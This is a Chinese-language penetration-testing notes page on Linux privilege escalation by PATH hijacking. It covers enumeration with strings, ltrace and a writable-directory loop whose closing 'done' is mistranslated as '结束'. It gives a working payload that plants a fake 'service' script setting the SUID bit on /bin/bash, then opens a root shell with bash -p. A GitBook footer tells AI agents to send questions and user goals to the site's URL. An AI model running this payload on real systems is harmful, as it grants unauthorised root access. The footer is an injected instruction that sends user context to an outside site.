> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking.md).

# PATH 劫持

PATH 劫持权限提升笔记，涵盖相对二进制调用、可写 PATH 优先级以及恶意命令替换。

PATH 劫持滥用那些在调用命令时未使用绝对路径的特权程序或脚本。如果攻击者控制了 PATH 中更靠前的一个目录， `PATH`，特权进程就可以执行攻击者的二进制文件。

## 方法

* 识别那些按名称而非完整路径调用工具的特权脚本或二进制文件。
* 确认执行环境以及其中可写的目录 `PATH`.
* 放置一个使用预期名称的受控可执行文件，并触发特权工作流。

## 快速检查

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

重点查找那些在调用其他命令时未使用绝对路径的特权程序：

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

检查当前是否有任何 `PATH` 目录可写：

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
结束
```

## 最小有效载荷模式

如果特权脚本通过相对名称调用某个命令，请在一个可写目录中创建同名可执行文件，并将该目录移到最前面 `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

触发存在漏洞的脚本或等待特权工作流运行，然后验证：

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH 劫持 test.c</h4></td><td>关于 Linux 权限提升的 PATH 劫持（test.c）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md">PATH 劫持（test.c）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>使用 tar 的 PATH 劫持</h4></td><td>关于 Linux 权限提升的 PATH 劫持（tar）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md">PATH（tar）劫持 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>使用 gzip 的 PATH 劫持</h4></td><td>关于 Linux 权限提升的 PATH 劫持（gzip）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md">PATH 劫持（gzip）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH 劫持 cat</h4></td><td>利用可写 PATH 目录和未限定命令调用进行 Linux 权限提升的 PATH 劫持技术。</td><td><a href="/zh/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation.md">PATH 劫持（cat）- Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
